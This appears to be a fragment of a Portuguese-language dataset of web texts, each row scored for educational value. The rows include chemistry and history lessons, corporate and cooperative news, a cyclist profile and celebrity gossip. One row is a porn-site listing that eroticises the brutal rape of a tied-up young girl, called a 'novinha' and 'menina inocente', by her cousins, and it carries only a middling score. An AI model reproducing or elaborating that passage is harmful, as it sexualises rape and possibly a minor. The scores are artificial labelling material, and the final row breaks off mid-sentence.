+Na imagem, temos duas substâncias diferentes, A e B, pelo fato de apresentarem combinações diferentes de átomos +Reação química: durante uma reação química, os átomos são apenas rearranjados, e não destruídos, o que resulta na formação de novas substâncias. Na imagem a seguir podemos observar que os mesmos átomos presentes nos reagentes estão presentes no produto. +C + O 2 → CO 2 +Segundo o modelo de Dalton, todos os átomos presentes nos reagentes são os mesmos no produto +Massa de uma substância: para saber a massa de uma substância, basta somar as massas de seus átomos. Por exemplo: +CO2 = 12 u do carbono + 2. 16 u de cada carbono +CO2 = 44 u é a massa da substância +Os estudos de Dalton favoreceram ainda a compreensão das ideias presentes nas leis ponderais de Lavoisier e Proust: +Lavoisier afirmava que a soma das massas dos reagentes é igual à soma das massas dos produtos em uma reação química. A explicação dada por Dalton para a conclusão de Lavoisier baseou-se no fato de que os átomos pertencentes aos reagentes são os mesmos pertencentes aos produtos. Logo, a massa seria a mesma. +Proust afirma...",original,original,original,original,4,0.8 +"pode começar com base fóssil ou renovável. +Além do infográfico abaixo, veja o vídeo que demonstra o Ciclo de Vida: +A etapa de extração das matérias-primas é uma das mais sensíveis do ciclo de vida. A cadeia produtiva tem contato direto com o meio ambiente. A maioria dos impactos ambientais dessa etapa está relacionada ao esgotamento de recursos não renováveis, emissões e uso de água. Os impactos também representam potenciais de benefício. +Beneficiando as matérias-primas +Salmoura: A matéria-prima chega às unidades da Braskem junto com o Etileno, que dará vida ao Policloreto de Vinila, o PVC, material usado em encanamentos, entre outras aplicações. Além do PVC, essas unidades produzem outros químicos como o Hipoclorito de Sódio e o Ácido Clorídrico. +A etapa de beneficiamento das matérias-primas é essencial para torná-las produtos comercializáveis. Os impactos dessa etapa são usualmente relacionados ao alto consumo energético e emissões atmosféricas. +Em um mundo globalizado, sistemas logísticos são fundamentais. As etapas produtivas usualmente ocorrem em locais geográficos diferentes, por isso demandam um meio de transporte para que materiais sejam movidos de um ponto a outro. Os modais de transporte mais comuns são: rodoviário, ferroviário, hidroviário, marítimo, aéreo e dutoviário. A eficiência do modal depende do tipo de produto, distância e quantidade transportada, por isso torna-se uma solução específica para cada caso. +Para transformar as resinas que a Braskem produz, existem vários métodos de modificação de um polímero. De maneira geral, todos envolvem o aquecimento e pressão da resina sobre um molde ou matriz que dará origem a peça. +Finalmente nas mãos do consumidor! +Chegou a hora do plástico mostrar a que veio e, nesta etapa, ele demonstra seus maiores benefícios, como a baixa densidade e condutividade elétrica, assim como flexibilidade e durabilidade, que explicam sua eficiência em diversas aplicações. +No caso de químicos básicos, eles podem ser transformados em outros plásticos, tintas, defensivos agrícolas entre outros. +Automotivo: Diminui o peso do veículo, diminuindo o consumo de combustível. Reduz também as perdas de água. +Existem hoje 4 tipos de tratamento de resíduos: +Reciclagem Energética: quando o resíduo é queimado em ambiente controlado (como uma caldeira ou forno) para gerar energia;",original,original,original,original,4,0.8 +"Porno estupro da novinha gostosa violentada pelos primos -Xvideos Foda – Porno Nacional, Xvideos Gratis, Xvidios amadores Porno estupro da novinha gostosa violentada pelos primos - +x +Categorias +Brasileirinhas +Xvideos +Bundudas +Videos de Sexo +XXX +Lésbicas +Boa Foda +Bucetas +Anal +Porno estupro da novinha gostosa violentada pelos primos +Video porno estupro com cenas quentes de um sexo forçado e brutal com a novinha gostosa sendo violentada e amarrada pelos primo para fazer um sexo proibido enquanto a menina inocente passeava o fim de semana na fazenda dos tios. +Os dois machos arrastam a moça safada e se trancam com ela dentro de um paiol. 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Hoje, aos 53 anos, sua história está registrada no curta-metragem Fractais Sertanejos, do cearense Heraldo Cavalcanti. O filme foi eleito pelo público um dos dez melhores no 20º Festival de Curtas Metragens de São Paulo, recebeu o Prêmio do Centro Técnico Audiovisual (CTAV), do Ministério da Cultura (MinC), e um troféu dado pelo Centro Cineclubista de São Paulo. +Entre janeiro e agosto de 2007, as filmagens de Fractais Sertanejos passaram por Fortaleza, Aurora e São Paulo, onde o escultor morou e trabalhou. Com 19 minutos, o filme foi pensado, inicialmente, para compor, com outros três personagens, um episódio do DOC TV, programa do Ministério da Cultura, sobre a produção tradicional do Cariri. Mesmo não tendo entrado para a série, Heraldo sabia que tinha um bom material em mãos, principalmente a parte que falava de Janjão. Por isso, decidiu transformá-lo num curta. +- Antes de Fractais Sertanejos, Heraldo Cavalcanti dirigiu os curtas Confiança (2002) e A insuportável comedora de chocolates (2003). Também dirigiu na TVC o programa Cultura em Cena. Atualmente, ele trabalha no curta A casa das horas, com a participação da atriz Nicette Bruno. +- Informações sobre os bastidores e cenas excluídas de Fractais Sertanejos estão sendo postadas no blog anitracinematv.blogspot.com",original,original,original,original,2,0.4 +"Ação Cooperada em Formosa do Sul/SC • Programa Vozes do Corpo encerra com apresentações de dança ao som de grandes ícones culturais • Fundação Aury Luiz Bodanese e Aurora Coop oficializam a união de 21 casais no Casamento Cooperado • Ação Cooperada em Saudades/SC • FALB e Aurora Coop sensibilizam colaboradores sobre sustentabilidade • FALB e Aurora Coop celebram a união de 22 casais • Voluntários ajudam a revitalizar espaço escolar • Ação Cooperada em Joaçaba/SC • Aurora Coop e FALB reconhecem professores com o Prêmio Educador Eco Criativo • Voluntários da Aurora Coop engajados na preservação do meio ambiente +Destaques +Amigo Energia Ação Cooperada em Formosa do Sul/SC +Juntamente com os voluntários da Unidade Aurora Coop de Quilombo (SC), foi realizada mais uma Ação Cooperada. A ação aconteceu no município de Formosa... +saiba mais +Compartilhe: +Vozes do corpo Programa Vozes do Corpo encerra com apresentações de dança ao som de grandes ícones culturais +Uma tarde marcada por demonstrações de talento, diversão e interatividade. Assim foi o encerramento das atividades deste ano do Programa Vozes do Corpo... +saiba mais +Compartilhe: +Amigo Energia Fundação Aury Luiz Bodanese e Aurora Coop oficializam a união de 21 casais no Casamento Cooperado +Em momentos marcados por emoção e alegria, 21 casais celebraram a união no último fim de semana durante a segunda edição deste ano do Casamento Cooperado,... +saiba mais +Compartilhe: +Amigo Energia Ação Cooperada em Saudades/SC +A Fundação Aury Luiz Bodanese realiza mais uma Ação Cooperada. Em parceria com a Cooperativa Filiada ao Sistema Aurora Coop - Cooperativa Regional Itaipu,... +saiba mais +Compartilhe: +Outras notícias +Voluntários da Aurora Coop engajados na preservação do meio ambiente +É Hora de Conversar +Doações de Sangue +FALB e Aurora Coop fortalecem ações de inclusão das pessoas com deficiência +Formatura do Curso de Qualificação para PCD e Workshop Viva as Diferenças... +Prêmio Educador Eco Criativo +Mais notícias +nossos programas +Integrar as pessoas com deficiência e entidades, promovendo o desenvolvimento pessoal, profissional e social. +Primar pelo bem-estar das pessoas com ênfase na prevenção, promoção, humanização e redução de danos, garantindo o acesso aos direitos pessoais, sociais e institucionais +Incentivar e consolidar o trabalho voluntário na comunidade e promover a educação para o exercício consciente da cooperação e sustentabilidade. +Organizar o acervo documental da Aurora Alimentos e seus fundadores, garantindo assim sua preservação e a valorização. +O Programa Vozes do Corpo tem por objetivo Proporcionar através da prática da dança vivências que estimulem o desenvolvimento pessoal, social e cultural das crianças e adolescentes. +Executar ações de educação ambiental que promovam o despertar da importância da conservação e preservação dos recursos naturais, buscando a cooperação e a conexão harmônica com o meio ambiente.",original,original,original,original,1,0.2 +"Pedimos desculpa, mas algumas partes do site da Airbnb não funcionam corretamente sem o JavaScript ativo.",original,original,original,original,0,0.0 +"Bikes do Andarilho: Perfil... Alex Magnum, da Vélo Courier! +Este é um espaço destinado a valorização e conhecimento do perfil de um ciclista. Ciclistas são ciclistas... A figuração conceitual que a bicicleta e seu usuário transmitem são insuficientes para descrever o valor humano e social que há nas histórias. As histórias são variadas como são os rostos. Somos todos diferentes! O valor esta exatamente nas diferenças, neste enriquecido calor humano capaz de gerar opiniões diferentes. Se as pessoas são assim... também se cria um diferencial quando se soma a famosa bicicleta! Novas experiências, oportunidades e histórias únicas formam este universo ciclístico. O perfil é uma oportunidade de aproximar e de demonstrar o que são os ciclistas. Seja cada um como for, todos são únicos, insubstituíveis, valorosos. As histórias são únicas, as amizades também... e o crescimento que cada um pode trazer para a bicicleta na sociedade é a força que um dia vai nos colocar em um patamar de muitas vantagens para a humanidade. A bicicleta veio para ficar... estas pessoas vieram para mostrar porquê a bicicleta é necessária: Este é Alex, um mensageiro, um entregador, um bike courier! Com três perguntas básicas apresentamos este ciclista de Porto Alegre. +- quem é este ciclista? +Me chamo Alex Magnum, tenho 21 anos, habito o trânsito de Porto Alegre tanto a trabalho quanto a lazer. Creio que possa me considerar um atleta urbano, quais as conquistas não vão muito além do simples ato de ir e voltar intacto. Pedalo todos os dias cerca de 50km. +Comecei a pedalar devido a convites de um amigo e, um dia saindo da aula, a Massa não me permitiu subir no ônibus - vi um cara vestido de bailarina e resolvi ir correndo junto o resto do percurso pra não ficar tão inerte. Logo após comecei a pedalar um tanto quanto bruscamente, percorrendo de 15 a 30km para visitar um amigo distante e também para ir ao trabalho, que era na Sertório (moro na Tristeza), então aprendi na melhor teoria - a prática. +A bicicleta já mudou o mundo, agora está mudando as pessoas. Eu não estive lá, mas creio que o mundo mudou quando descobriu que duas rodas era a solução para um deslocamento eficiente. +Pedalar é um ato político, é influenciar diretamente nas mudanças no lugar onde se vive e quer viver. Movimente-se, pois o único defeito da fala é que ela não passa de ondas sonoras dispersas pelo ar, já o movimento - o movimento é a transcrição visual e física de que é possível realizar o inimaginável. Uma cidade e um trânsito mais humanos dependem só de nós. Pequenas atitudes resultam em grandes mudanças. Seja a mudança. +Alex exerce a atividade de courier por meio da bicicleta. Realiza diversas tarefas envolvendo transporte em locais diversos e que cruzam a cidade em um único dia. Ele e outros brilhantes ciclistas por vocação enfrentam o trânsito diariamente. Acreditam na função, nos princípios naturalistas e esperam o trânsito evolua para uma aceitação prática do ciclistas nas ruas, de acordo com as promessas do CTB (código de trânsito brasileiro). A bandeira que Alex levanta é da paz! Para saber mais sobre os serviços prestados por Alex e seus colegas, acesse a página oficial do nosso aventureiro do cotidiano: velocourier.com +Não esqueça o leitor que há uma questão importante quando for comparar motociclistas entregadores aos ciclistas entregadores. Ciclistas são silenciosos, não poluentes, raramente se envolvem em acidentes, garantindo a integridade do bem de entrega. Avalie as diferenças, avalie o mundo como esta e pense se esta não é uma grande iniciativa que promove a paz no trânsito e outros benefícios a sociedade. A responsabilidade é um grande atributo da Vélo Courier! - ""Alex, estamos contigo!"" +Postado por Roberto Furtado às segunda-feira, janeiro 20, 2014",original,original,original,original,2,0.4 +"luta contra qualquer um mas peguem leve por favor ainda sou iniciante +Assunto: luta contra qualquer um mas peguem leve por favor ainda sou iniciante Ter Abr 20, 2010 6:10 pm +Assunto: Re: luta contra qualquer um mas peguem leve por favor ainda sou iniciante Ter Abr 20, 2010 8:48 pm +Assunto: Re: luta contra qualquer um mas peguem leve por favor ainda sou iniciante Sex Abr 23, 2010 5:19 pm +bakupod:skyrees entra na batalha com 360 gs e sousa com .......... +Assunto: Re: luta contra qualquer um mas peguem leve por favor ainda sou iniciante Seg Abr 26, 2010 4:01 pm +Assunto: Re: luta contra qualquer um mas peguem leve por favor ainda sou iniciante",original,original,original,original,0,0.0 +"UFVJM realiza 4º Seminário do Comitê Gestor em Direitos Humanos no Campus Unaí +Qui, 06 de Dezembro de 2018 10:07 +Nos próximos dias 13 e 14 de dezembro, será realizado o 4º Seminário do Comitê Gestor em Direitos Humanos (CDH) da Universidade Federal dos Vales do Jequitinhonha e Mucuri (UFVJM). Com o tema “Direitos humanos para que(m)? Semeando reflexões”, o evento será realizado no Campus Unaí. +Na programação há mesas de debate e apresentações culturais, sendo as temáticas desse evento a questão da terra, democracia, sistema prisional e questões étnico-raciais. +O evento será realizado na Câmara Municipal de Unaí/MG. As inscrições já estão abertas e podem ser feitas neste link. +O CDH da UFVJM convida alunos, técnicos, professores, terceirizados e comunidade externa a participarem desse evento. A abertura será às 19h, na Câmara Municipal de Unaí. +O Pacto Universitário pela Promoção do Respeito à Diversidade, da Cultura da Paz e dos Direitos Humanos é uma iniciativa conjunta do Ministério da Educação e do Ministério da Justiça e Cidadania para a promoção da educação em direitos humanos no ensino superior, aberto à adesão das instituições de educação superior (IES) e de entidades apoiadoras (EAs). +O objetivo do pacto é superar a violência, o preconceito e a discriminação, e promover atividades educativas de promoção e defesa dos direitos humanos nas IES. Seus comitês gestores, em todo o país, apresentam esse mesmo objetivo, como norteador dos seus trabalhos. +Para participar, as instituições de educação superior ou a entidade apoiadora devem assinar o Termo de Adesão ao Pacto, com o compromisso de desenvolver atividades de apoio à iniciativa entre os eixos de ensino, pesquisa, extensão, gestão e convivência. +O Comitê Gestor em Direitos Humanos da UFVJM, por livre adesão, foi instituído no segundo semestre de 2017, e busca efetivar as suas atribuições buscando por parcerias, internas e externas à UFVJM. +Última atualização em Qui, 06 de Dezembro de 2018 10:35",original,original,original,original,3,0.6 +"Podemos afirmar, que o conceito de ruralidade abrange todas as ilhas. È neste quadro que o homem e a mulher rural açorianos, conseguem fazer funcionar em seu redor os espaços caracterizados pela predominância da utilização do solo, numa intima ligação à paisagem, aos recursos e às condições que de uma forma natural são aproveitadas pelos conhecimentos e saber de quem conhece e domina bem os segredos de uma profissão. +Os segredos da profissão de agricultor, permitiu não só produzir e gerar economia, não só prover as necessidades básicas do Homem, como ser também responsável pelo ordenamento do território, que se verifica desde o povoamento do arquipélago, passando pelo embelezamento, preservação e protecção da nossa paisagem. +Esta última componente, de preservação e protecção da paisagem, conjugada com a capacidade de produzir, faz hoje um sector de enormes responsabilidades, no quotidiano e na definição da própria qualidade de vida das populações. +Foi de facto o colocar em prática os segredos e o saber dos primeiros povoadores que natural e habilmente os passaram de geração em geração, que hoje nos permite deparar nas nossas ilhas com óptimos exemplos em matéria de produção agrícola e pecuária, bem como a implantação nos locais próprios das culturas mais indicadas. Exemplo fiel deste facto é a edificação de autênticas obras de arte relacionadas com a cultura da vinha. +A exemplo daquilo que se passa nas ilhas do Pico, da Graciosa e Santa Maria, a ilha Terceira, nomeadamente na freguesia dos Biscoitos, tem largas tradições na cultura da vinha e na produção de vinho licoroso – O Verdelho. Esta tradição não se esgota apenas na actividade vitivinícola, mas motiva e proporciona uma das paisagens mais belas e invulgares da ilha que lhe é conferida pelo rendilhado das curraletas construídos em pedra solta que a partir da Primavera se envolvem num sem número de folhas verdes (as parras da videira), um pureza que se mistura e se reflecte no azul do mar, condimentado pelos tons acinzentado e acastanhado dos rochedos vulcânicos que na costa suportam o embate do oceano que nos envolve. +O rendilhado e o reticulado da paisagem é atribuído à existência das curraletas de pedra solta que tinham e têm como principal objectivo a defesa da cultura da vinha contra a acção dos ventos fortes, em particular ressalgas (ventos do mar), bem como proporcionar um microclima muito especial à volta da videira, concentrando o calor que esta necessita e assim minimizar as amplitudes térmitas verificadas entre o dia e a noite, beneficiando toda a planta e em particular, o seu mecanismo natural de crescimento, emprestando simultâneamente e de modo acentuado, uma importância paisagística, ambiental, histórica e patrimonial que não podemos ignorar. +E, o não podemos ignorar, desencadeou na comunidade da freguesia dos Biscoitos e em muitos outros sectores da sociedade civil, uma vontade em classificar a Zona Demarcada onde se produz o Vinho Licoroso de Qualidade Produzido em Região Determinada – V.L.Q.P.R.D. – “Biscoitos”, como Área de Paisagem Protegida de Interesse Regional, de acordo com a legislação existe, por forma a preservar-se um património natural, característico desta zona vitícola, que constitui um elevado interesse paisagístico, histórico-cultural e agrícola, que deverá em todos fazer reflectir a sua importância no sentido de se preservar e proteger. +* Director Regional do Desenvolvimento Agrário +(continua) +Outros : +Planta da Freguesia dos Biscoitos (ano 1830) aqui +Plantas Vasculares nas Vinhas dos Biscoitos (ano 1971) aqui. +""A vinha perde-se e a população nada ganha"" (ano 1994) aqui. +""Região de Biscoitos, nos Açores - Casas em vez de vinhas"" - Santos Mota (ano 1994) - aqui. +""Biscoitos: que futuro? ""-José Aurélio Almeida (ano 1996) - aqui. +""As Vinha dos Biscoitos"" -Bailinho de Carnaval da Freguesia das Fontinhas. (ano 1997) aqui. +""Uma virada nos Biscoitos""(Açores)- (ano 1998) aqui. +O viticultor açoriano está envelhecido (ano 1998/99) aqui +“Provedor de J...",original,original,original,original,3,0.6 +"Você já parou para pensar como os animais e as plantas estão conectados? Às vezes, parece que eles vivem em mundos separados, mas, na verdade, eles dependem uns dos outros para sobreviver! Essa relação é tão importante que a chamamos de interdependência. Vamos explorar juntos essa fascinante dança da vida. + +Imagine uma floresta tropical exuberante. As plantas, com suas folhas verdes e vibrantes, utilizam a luz do sol, a água e o gás carbônico para produzir seu próprio alimento, um processo mágico chamado fotossíntese. Mas o que acontece com o oxigênio liberado nesse processo? Ele é essencial para a respiração da maioria dos animais, incluindo nós, os seres humanos! Assim, as plantas fornecem o oxigênio que precisamos para viver. + +Por outro lado, os animais também desempenham um papel crucial na vida das plantas. As abelhas, por exemplo, voam de flor em flor, coletando néctar para produzir mel. Ao fazer isso, elas transportam o pólen de uma flor para outra, um processo chamado polinização. A polinização é fundamental para a reprodução de muitas plantas, permitindo que elas produzam frutos e sementes. Sem as abelhas e outros polinizadores, como beija-flores e borboletas, muitas plantas não conseguiriam se reproduzir. + +Além da polinização, os animais também ajudam a dispersar as sementes das plantas. Pense em um macaco que come uma fruta e depois joga a semente longe. Essa semente pode germinar e dar origem a uma nova planta em um local diferente. Ou imagine um pássaro que come sementes e as espalha em seu voo. Essa dispersão de sementes é importante para garantir que as plantas se espalhem e ocupem novos territórios. + +Até mesmo os restos de animais mortos e as fezes dos animais são importantes para as plantas. Esses materiais se decompõem no solo, liberando nutrientes que as plantas utilizam para crescer e se desenvolver. É como se os animais fertilizassem o solo para as plantas. + +A interdependência entre animais e plantas é um exemplo maravilhoso de como a natureza está toda conectada. Se um elo dessa cadeia é quebrado, todo o ecossistema pode ser afetado. Por isso, é tão importante proteger tanto os animais quanto as plantas, garantindo que essa dança da vida continue a acontecer. Da próxima vez que você vir uma flor sendo visitada por uma abelha ou um pássaro comendo uma fruta, lembre-se da incrível interdependência que existe entre eles. Como podemos ajudar a preservar essa relação em nosso dia a dia?",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando o conceito de interdependência entre animais e plantas de forma clara e envolvente, adequada para alunos do ensino fundamental. Utiliza exemplos práticos e linguagem acessível, facilitando a compreensão. Explica processos como fotossíntese e polinização de maneira simplificada. Além disso, estimula a reflexão sobre a importância da preservação ambiental. O conteúdo é focado, coerente e propício para um aprendizado estruturado.",5,1.0 +"PODER EXECUTIVO - GOVERNADOR E VICE-GOVERNADOR (São condições de… Coggle +PODER EXECUTIVO - GOVERNADOR E VICE-GOVERNADOR (São condições de… +PODER EXECUTIVO - GOVERNADOR E VICE-GOVERNADOR +O Poder Executivo é exercido pelo Governador do Distrito Federal, auxiliado pelos Secretários de Estado do Distrito Federal +A eleição do Governador do Distrito Federal é feita por sufrágio universal e por voto direto e secreto +O mandato do Governador do Distrito Federal será de quatro anos, permitida a reeleição para um único período subsequente +São condições de elegibilidade para Governador e Vice-Governador do Distrito Federal +Será considerado eleito Governador do Distrito Federal o candidato que, registrado por partido político, obtiver a maioria absoluta de votos, não computados os em branco e os nulos +Se nenhum candidato alcançar maioria absoluta no primeiro turno, faz-se nova eleição, na qual concorrem os dois candidatos mais votados, sendo considerado eleito o que obtiver a maioria dos votos válidos +Se, antes de realizado o segundo turno, ocorrer morte, desistência ou impedimento legal de candidato, convocar-se-á, entre os remanescentes, o de maior votação +Se, na hipótese dos parágrafos anteriores, remanescer, em segundo lugar, mais de um candidato com a mesma votação, qualificar-se-á o mais idoso +Se, decorridos dez dias da data fixada para a posse, o Governador ou o Vice-Governador do Distrito Federal, salvo motivo de força maior, não tiver assumido o cargo, este será declarado vago +Cabe ao Vice-Governador substituir o Governador em sua ausência ou impedimento e suceder-lhe no caso de vaga +O Vice-Governador do Distrito Federal, além de outras atribuições que lhe forem conferidas por lei complementar, auxiliará o Governador, sempre que por ele convocado para missões especiais +Vagando os cargos de Governador e Vice-Governador do Distrito Federal, far-se-á eleição noventa dias depois de aberta a última vaga +Ocorrendo a vacância nos últimos dois anos do mandato, a eleição para ambos os cargos será feita trinta dias depois da última vaga, pela Câmara Legislativa, na forma da lei +Em qualquer dos casos, os eleitos deverão completar o período de seus antecessores +O Governador e o Vice-Governador deverão residir no Distrito Federal +O Governador e o Vice-Governador não poderão, sem licença da Câmara Legislativa, ausentar-se do Distrito Federal por período superior a quinze dias, sob pena de perda do cargo +A licença a que se refere o caput deste artigo deverá ser justificada +O Governador e o Vice-Governador do Distrito Federal poderão afastar-se durante trinta dias, a título de férias, em cada ano de seu mandato +O Governador e o Vice-Governador deverão, no ato da posse e no término do mandato, fazer declaração pública de bens +Aplicam-se ao Governador e ao Vice-Governador, no que couber, as proibições e impedimentos estabelecidos para os Deputados Distritais, fixados no art. 62 +Perderá o mandato o Governador que assumir outro cargo ou função na administração pública direta ou indireta, federal, estadual, municipal ou do Distrito Federal, ressalvada a posse em virtude de concurso público e observado o disposto no art. 38, I, IV e V, da Constituição Federal",original,original,original,original,4,0.8 +"BAIXAR LIVRO CIRANDA DAS SILABAS PARA - datarex.info +datarex.info / BAIXAR LIVRO CIRANDA DAS SILABAS PARA +LIVRO CIRANDA DAS SILABAS PARA +07/09/2019 | Livros +Lista de Sugestões com mais de atividades — SÓ ESCOLA +A coleção “CIRANDA DAS SÍLABAS” é composta por seis volumes, organizados em lições que apresentam atividades sequenciais. BAIXE EM PDF - CIRANDA DAS SÍLABAS - VOLUME 5. A coleção “CIRANDA DAS SÍLABAS” é compostapor seis volumes, .. Download Full EPUB Ebook here { datarex.info }. +Tamanho do arquivo: 65.85 Megabytes +Em uma sociedade baseada no consumo, que valoriza a posse das coisas, Frederico Godofredo é um menino diferente. Pages Início. Livro das cores OK Atividade desenvolvida pelo projeto to brincando que tem como objetivo reconhecer e identificar as cores pedidas. Ruth Rozendo Caputo Volume 3 2. Enviar pesquisa. Circule - Figuras com a letra A OK. Caderno com as letras do alfabeto com quatro figuras relacionadas a cada letra. O prazer de ler estes livros é uma certeza. Atividade de pintar o quadrado que tem o nome da figura. Atividade de marcar a imagem diferente. Projeto leitura e escrita - Letra B OK. Livro A Coisa - Col. Palavras com Z OK. Tecnologia do Blogger. Letras Bruno OK. O espaço para segurar e a matraca colorida valem por horas de barulho divertido. Esse jogo foi desenvolvido em PowerPoint. Cores OK. +BAIXE EM PDF - CIRANDA DAS SÍLABAS - VOLUME 5. A coleção “CIRANDA DAS SÍLABAS” é compostapor seis volumes, .. Download Full EPUB Ebook here { datarex.info }. A coleção “CIRANDA DAS SÍLABAS” é compostapor seis volumes, .. DOWNLOAD THAT BOOKS/FILE INTO AVAILABLE FORMAT. A coleo CIRANDA DAS SLABAS composta. por seis volumes, organizados em lies que apresentam atividades seqenciais. Nos volumes 1 e 2, as lies envolvem . Volume 1 A coleção “CIRANDA DAS SÍLABAS” é composta por seis volumes, organizados em lições que apresentam atividades seqüenciais. +Construindo Futuros Seguir. Full Name Comment goes here. Are you sure you want to Yes No. +Andrea Rodrigues. Juliana Alves. +O slideshow foi denunciado. Ciranda das sílabas volume 5. Próximos SlideShares. Inicie em. Mostre SlideShares relacionados no final. +Código do WordPress. Construindo Futuros Seguir. Full Name Comment goes here. Are you sure you want to Yes No. +Insira sua mensagem aqui. Os demais volumes esto voltados sistematizao das famlias silbicas, permitindo, dessa maneira, que o professor avalie sistematicamente os avanos de seus alunos, fazendo intervenes adequadas ao perceber que algum aluno no est aprendendo de forma satisfatria. +Ciranda Cultural, pg. Read Free For 30 Days. Ciranda das Sílabas - Volume 2. Flag for inappropriate content. +Jump to Page. Search inside document. Marisa Braga. Tâmara Faria. +Carla Machado. Indiara Hellen. Elke Etienne.",original,original,original,original,2,0.4 +"Olá, pequenos exploradores da língua portuguesa! Já pararam para pensar que ler é como embarcar em uma aventura sem sair do lugar? Quando lemos, abrimos portais para mundos mágicos, conhecemos personagens fascinantes e aprendemos coisas novas a cada instante. Mas, para aproveitar ao máximo essa jornada, precisamos ser bons intérpretes! + +Interpretar um texto é como ser um detetive: precisamos juntar as pistas, analisar os detalhes e desvendar o que o autor quis nos contar. Não basta apenas ler as palavras, precisamos entender o que está por trás delas. Imaginem que vocês estão lendo uma história sobre um cachorro chamado Pipoca que está triste porque perdeu seu brinquedo favorito. Para interpretar essa história, vocês precisam pensar: por que o Pipoca está triste? O que o brinquedo significa para ele? Como ele se sente ao perdê-lo? + +Para nos ajudar nessa missão de detetives da leitura, temos algumas ferramentas importantes. A primeira delas é a atenção. Precisamos ler com calma, prestando atenção em cada palavra, cada frase, cada detalhe. Depois, precisamos usar a nossa imaginação! Imagine os cenários, os personagens, as situações. Assim, a história ganha vida em nossa mente. E, por fim, precisamos usar o nosso conhecimento. O que já sabemos sobre o assunto da história? Já vivemos algo parecido? Isso nos ajuda a entender melhor o que estamos lendo. + +Vamos a um exemplo prático? Imagine que você lê a seguinte frase: ""O sol brilhava forte e o passarinho cantava alegremente na janela"". O que essa frase nos diz? Ela nos diz que é um dia ensolarado e que o passarinho está feliz. Mas, podemos ir além! Podemos imaginar a cena: um céu azul, o calor do sol, a melodia do passarinho. Podemos até sentir o cheiro das flores e o frescor da brisa! + +Ler e interpretar textos é uma habilidade muito importante para a vida. Nos ajuda a aprender, a nos comunicar, a entender o mundo ao nosso redor. E, o mais importante: nos diverte e nos faz sonhar! Então, que tal começar agora mesmo a sua próxima aventura literária? Escolha um livro, um gibi, um blog, ou até mesmo um bilhete e embarque nessa jornada! E lembre-se: a leitura é uma porta aberta para um mundo de possibilidades! Que tal depois de ler esse texto, você procurar um livro novo na sua casa ou na biblioteca da sua escola? Qual livro você vai escolher para começar essa nova aventura?",Português,Leitura e interpretação de texto,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Apresenta informações básicas sobre a importância da leitura e da interpretação de textos de forma lúdica e acessível, utilizando analogias e exemplos práticos. Incentiva a imaginação e a aplicação do conhecimento prévio, além de propor uma atividade de leitura ao final. O texto é claro, coerente e adequado ao público-alvo.",5,1.0 +"A Leap Motion é a empresa responsável por alguns dos sensores de movimentos mais promissores dos últimos anos. Mas se você achava que poucas empresas iriam apostar na tecnologia que envolve hardware de qualidade e software de controle, está muito enganado. Depois de a ASUS confirmar parceria com a empresa, agora é a vez de a HP revelar que vai aplicar os controles por gestos em seus computadores. +Com a parceria, notebooks e desktops da HP poderão ser controlados por movimentos tridimensionais (pois também serão reconhecidos os gestos em profundidade). Até o momento não foram revelados quais serão os aparelhos específicos a receberem a tecnologia de controle por gestos, mas há rumores de que existem planos para a apresentação de aparelhos ainda neste ano. +Ao contrário dos sensores apresentados até agora, este não será externo. O que a HP e a Leap Motion planejam é fazer com que os computadores tenham equipamentos integrados ao design deles. Dessa forma, funcionariam de uma maneira similar às webcams de notebooks, que ficam camufladas nos equipamentos. +Segundo a Leap Motion, os sensores que serão empregados nas máquinas da HP podem reconhecer até dez dedos e capturar até 290 frames por segundo. Além de computadores, a Leap Motion já deixou claro que planeja ir muito além no mercado. Recentemente, a empresa revelou que quer levar a tecnologia de controle por gestos para relógios, smartphones, televisores e outros aparelhos eletrônicos.",original,original,original,original,3,0.6 +"De biquíni, Iza rebola muito, leva seguidores ao delírio e quebra a web; assista +As redes sociais foram incendiadas nesta sexta, por ninguém menos que Iza. A cantora decidiu mostrar aos seus seguidores como estava aproveitando o dia e os levou ao delírio. Para isso, ela compartilhou um vídeo em que aparece dançando de biquíni, o suficiente para render uma ""enxurrada"" de curtidas e comentários na publicação em seu perfil oficial do Instagram. +Além dos fãs, muitos artistas e amigos da cantora elogiaram a performance. ""Mas o que é isso?!"", questionou Tiago Leifert. ""Eu n consigo parar de assistir. Perdi até o sono"", comentou Gabriela Pugliesi. ""Como pode ser tão gata?"", perguntou Sabrina Sato. ""Ahhhhhhhhhh cara!!!!!!!!! Assim não dá!!!!"", brincou Juliana Paes. ""Até parei meu patinete aqui. QUE HUMILHAÇÃO, meu Deus!"", postou Bruna Marquezine.",original,original,original,original,0,0.0 +"Olá, estudantes! Já pararam para pensar como o Brasil se tornou o país que conhecemos hoje? Nossa história é como um grande livro, cheio de aventuras, desafios e personagens importantes. Vamos juntos desvendar alguns segredos desse livro! + +A história do Brasil não começou em 1500, com a chegada dos portugueses. Antes disso, diversas nações indígenas já habitavam este território, cada uma com sua cultura, língua e costumes. Eles foram os primeiros brasileiros e suas histórias são parte fundamental da nossa identidade. Imagine que, por muitos anos, o Brasil era como um mosaico de povos indígenas diferentes, cada um contribuindo com sua cor e forma para a riqueza desse mosaico. + +Quando os portugueses chegaram, trouxeram novas ideias, tecnologias e também muitos desafios. O encontro entre portugueses e indígenas foi marcado por conflitos e trocas, transformando a vida de ambos os povos. Aos poucos, os portugueses começaram a explorar as riquezas do Brasil, como o pau-brasil, e a colonizar o território. Para trabalhar nessas terras, trouxeram pessoas da África para serem escravizadas. A escravidão é uma parte muito triste da nossa história, mas é importante conhecê-la para entendermos como o Brasil se formou. + +A cana-de-açúcar foi um dos principais produtos cultivados no Brasil Colônia, e os engenhos eram como pequenas cidades onde os escravos trabalhavam arduamente. Imagine como era difícil a vida dessas pessoas, longe de suas famílias e de sua terra natal. Mais tarde, o ouro e o café também se tornaram importantes para a economia brasileira. Cada ciclo econômico deixou marcas na nossa história, influenciando a formação das cidades, a cultura e os costumes. + +Em 1822, o Brasil se tornou independente de Portugal. Mas o que isso significa? Significa que passamos a ter nosso próprio governo e a tomar nossas próprias decisões. Dom Pedro I foi o primeiro imperador do Brasil, e a partir daí, o país começou a construir sua própria identidade. A Proclamação da República, em 1889, foi outro momento importante, quando o Brasil deixou de ser um império e se tornou uma república, com um presidente eleito pelo povo. + +A história do Brasil é cheia de personagens importantes, como Tiradentes, que lutou pela liberdade, e Getúlio Vargas, que modernizou o país. Cada um deles, com suas ideias e ações, contribuiu para a 